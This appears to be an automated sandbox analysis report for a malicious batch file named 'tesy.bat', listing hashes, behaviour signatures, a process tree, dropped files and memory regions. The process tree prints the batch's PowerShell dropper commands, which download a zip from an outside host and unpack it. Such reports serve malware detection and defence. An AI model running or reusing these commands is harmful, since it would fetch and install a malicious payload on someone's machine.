1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1564s
max time network
1572s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy.bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2424	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2424	powershell.exe
2580	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 2424	2204	cmd.exe	29
PID 2204 wrote to memory of 2424	2204	cmd.exe	29
PID 2204 wrote to memory of 2424	2204	cmd.exe	29
PID 2204 wrote to memory of 2580	2204	cmd.exe	30
PID 2204 wrote to memory of 2580	2204	cmd.exe	30
PID 2204 wrote to memory of 2580	2204	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2580

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
69cc75b183275c1fd2477b0bba8c0912

SHA1
2587915a12c0d42fcc3268c55c90cd0706ba82ac

SHA256
3d72acc15c421bf144d6a3d12dc8ef4b3ae8d8e3099a07bf717ef23f3c4847a1

SHA512
8a7333f98b11b95bb97a66d491dd7861c310e45822c152a66aa4641bf7b2dcdc71ed7f69d7a69680664d3b02148b757c63f4662ed9fc61880f6f469d9ce45868

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ARXH6MA8FZ7EIUXJQFWG.temp

Filesize
7KB

MD5
69cc75b183275c1fd2477b0bba8c0912

SHA1
2587915a12c0d42fcc3268c55c90cd0706ba82ac

SHA256
3d72acc15c421bf144d6a3d12dc8ef4b3ae8d8e3099a07bf717ef23f3c4847a1

SHA512
8a7333f98b11b95bb97a66d491dd7861c310e45822c152a66aa4641bf7b2dcdc71ed7f69d7a69680664d3b02148b757c63f4662ed9fc61880f6f469d9ce45868

Download Submit
memory/2424-8-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2424-7-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2424-4-0x000000001B1B0000-0x000000001B492000-memory.dmp

Filesize
2.9MB

Download
memory/2424-9-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2424-10-0x0000000002860000-0x00000000028E0000-memory.dmp

Filesize
512KB

Download
memory/2424-12-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2424-6-0x0000000002330000-0x0000000002338000-memory.dmp

Filesize
32KB

Download
memory/2424-5-0x000007FEF5610000-0x000007FEF5FAD000-memory.dmp

Filesize
9.6MB

Download
memory/2580-21-0x0000000002510000-0x0000000002518000-memory.dmp

Filesize
32KB

Download
memory/2580-19-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/2580-20-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2580-18-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2580-22-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/2580-23-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2580-24-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2580-25-0x00000000025E0000-0x0000000002660000-memory.dmp

Filesize
512KB

Download
memory/2580-26-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download